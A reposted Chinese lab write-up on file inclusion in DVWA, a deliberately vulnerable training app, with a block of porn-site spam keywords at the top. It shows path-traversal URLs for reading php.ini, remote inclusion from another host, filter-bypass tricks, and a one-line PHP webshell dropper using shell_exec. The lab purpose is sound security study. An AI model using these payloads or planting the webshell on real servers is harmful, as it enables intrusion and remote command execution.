日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > php >内容正文

php

dvwa没有file1.php,文件包含漏洞-DVWA

發布時間:2023/12/16 php 35 豆豆
生活随笔 收集整理的這篇文章主要介紹了 dvwa没有file1.php,文件包含漏洞-DVWA 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

一、進入DVWA測試系統

選擇左側File Inclusion(文件包含)菜單,內容頁顯示為:

解決方法:進入php.ini,將allow_url_include=Off修改為On即可。

二、實驗步驟:

2.1 File Inclusion(Low 級別)

a) 分析文件包含漏洞測試網頁

可以看到,文件包含網頁上的內容顯示:通過點擊file1.php或者file2.php或者file3.php文件,然后通過GET請求將選中的文件內容包含并顯示出來,顯示效果:如點擊file.php的效果圖

進一步分析:

觀察文件包含頁面的URL :http://www.dvwa.com/vulnerabilities/fi/?page=include.php,將page=include.php 修改為: page=xxx.php,然后訪問。

從上圖可以看出,由于動態GET請求包含了page = xxx.php這樣一個不存在的文件,php解釋器曝出了PHP文件包含函數include的Warnning信息,并且該信息暴露了文件的絕對路徑,因此在下一步中我們將進一步利用該漏洞

b) 構造URL暴露重要信息

i)獲取php.ini的信息

輸入:http://www.dvwa.com/vulnerabilities/fi/?page=..\..\php.ini

效果圖如下:

可以看到成功讀取了php.ini的重要配置信息,當然你也可以試一試讀取其他的文件信息,如請讀取系統下robots.txt的內容信息,從這個漏洞上可以看出能夠導致重要的敏感信息泄露。請嘗試探索其他重要的配置信息。

Robots.txt信息:

注意:a)步驟中曝出的路徑為:D:\PHP\wamp64\www\website\web\DVWA\vulnerabilities\fi\index.php on line?36

因此可以判斷:php.ini配置文件在wwww\website\web\DVWA目錄下,而我們知道Web網站一般部署到Apache 服務器的WWW 目錄下,因此可以通過從WWW文件夾開始算起:用..\來做跳轉,所以構造的路徑為:..\..\php.ini,可以認為第一個..\ 表示DVWA \,第二個..\表示fi\

ii)訪問遠程文件

php.ini設置:服務器如在php.ini中將allow_url_fopen與allow_url_include,設置為on 狀態即可以使用遠程文件,可以是ftp上的文件,也可是網路上其他能訪問到的文件。

php.ini設置方法: W 標識 ——> PHP ——>php.ini 通過搜索 allow_url_include變量然后修改其狀態,重啟W服務器即可。

a)遠程包含打印php版本信息的文件

將提前準備好的程序:

<?php ? phpinfo();?> 保存在1.tt文件中,并將該文件放到dvwa文件夾下,并測試http://www.dvwa.com/1.tt能夠正常讀取源代碼。(請截圖顯示)

然后在DVWA系統上,URL輸入為:http://www.dvwa.com/vulnerabilities/fi/?page=http://www.dvwa.com/1.tt,看看效果。

b)遠程寫入木馬文件

將提前準備好的一句話木馬放到WAMP的www文件夾下,檢查下是否能夠通過URL訪問到,http://www.dvwa.com/muma1.php?cmd=dir

然后將File Inclusion上的URL重新構造:

http://www.dvwa.com/vulnerabilities/fi/?page=http://www.dvwa.com/muma1.php?cmd=dir

這個測試相當于是將已經上傳到該主機服務器上的muma1.php文件和該文件包含漏洞相結合進行的漏洞利用。

思考題:

(1)試想下假如沒有木馬文件在該服務器下,如何取控制呢?能否包含php程序,而這個程序正好執行的時候為寫入一句話木馬到服務器上?

答:遠程包含php文件

(2)請嘗試遠程包含讀取當前服務器版本信息的文件,并執行看效果?

emm,這是我拖了2個文件在老師的服務器上,自己做實驗可以拖到虛擬機上。

c)通過文件包含向服務器寫入一句話木馬文件

提前準備好遠程的寫一句話木馬程序:

$file1 = fopen("shell.php","w");

fputs($file1,'<?php echo shell_exec($_GET["cmd"]);?>');

?>

文件保存為echo.tt,先保證該文件能夠正常執行,上述代碼的意思是,在當前Web應用的路徑下創建文件名為shell.php的文件,文件內容為寫入:

現在構造File Inclusion的URL,輸入:

http://www.dvwa.com/vulnerabilities/fi/?page=http://100.0.101.61/echo.tt,看看效果

注意:文件后綴一定要是tt,這樣才能不在遠程機執行而且可以在受害機執行。

2.2 File Inclusion(Medium 級別)

a)測試是否具有文件包含漏洞

URL輸入:http://www.dvwa.com/vulnerabilities/fi/?page=xxx.php,請描述看到的情況并截圖

b)構造URL利用漏洞

i)獲取php.ini信息

URL輸入:http://www.dvwa.com/vulnerabilities/fi/?page=..\..\php.ini看看效果。

其實這里我們為什么成功,是因為源碼沒判斷這個"\"!

ii)遠程包含

http://www.dvwa.com/vulnerabilities/fi/?page=http://100.0.101.61/1.tt,看看效果

iii)看看源代碼(代碼審查下)

文件位置:安裝目錄\vulnerabilities\fi\source\medium.php

通過實驗以及源代碼可以看到地址欄上直接輸入../ 和 http 均會直接被replace為空,使得路徑出錯,致使無法達到繞過。那么如何構造URL繞過replace方法呢?

提示:是否可以使用絕對路徑:如包含的本地文件為:D:\wamp\www\DVWA-master\DVWA-master\php.ini;是否可以將包含的遠程連接修改為:hthttp://tp://127.0.0.1/…

絕對路徑:

遠程路徑:

2.3 File Inclusion(High 級別)

a)測試是否具有文件包含漏洞

URL輸入:http://www.dvwa.com/vulnerabilities/fi/?page=xxx.php,請描述看到的情況并截圖

從上圖結果可以看出,在高級別上是做了文件過濾的,那么我們看看源代碼:

文件位置:安裝路徑\vulnerabilities\fi\source\high.php

從代碼的判斷語句可以看到,包含的文件如果開頭不匹配file 和include.php 則會提示file not found。

現在好辦了,構造URL :http://www.dvwa.com/vulnerabilities/fi/?page=file://D:/PHP/wamp64/www/WEBSITE/web/DVWA/php.ini

有興趣的可以完成遠程訪問的內容(加油!)

2.4 File Inclusion(Impossible 級別)

查看源代碼:

可以看出,在高難度級別上做了包含文件的白名單校驗,那么針對這種情況,基本上是保障了文件包含的安全性,很難突破了。

總結

以上是生活随笔為你收集整理的dvwa没有file1.php,文件包含漏洞-DVWA的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。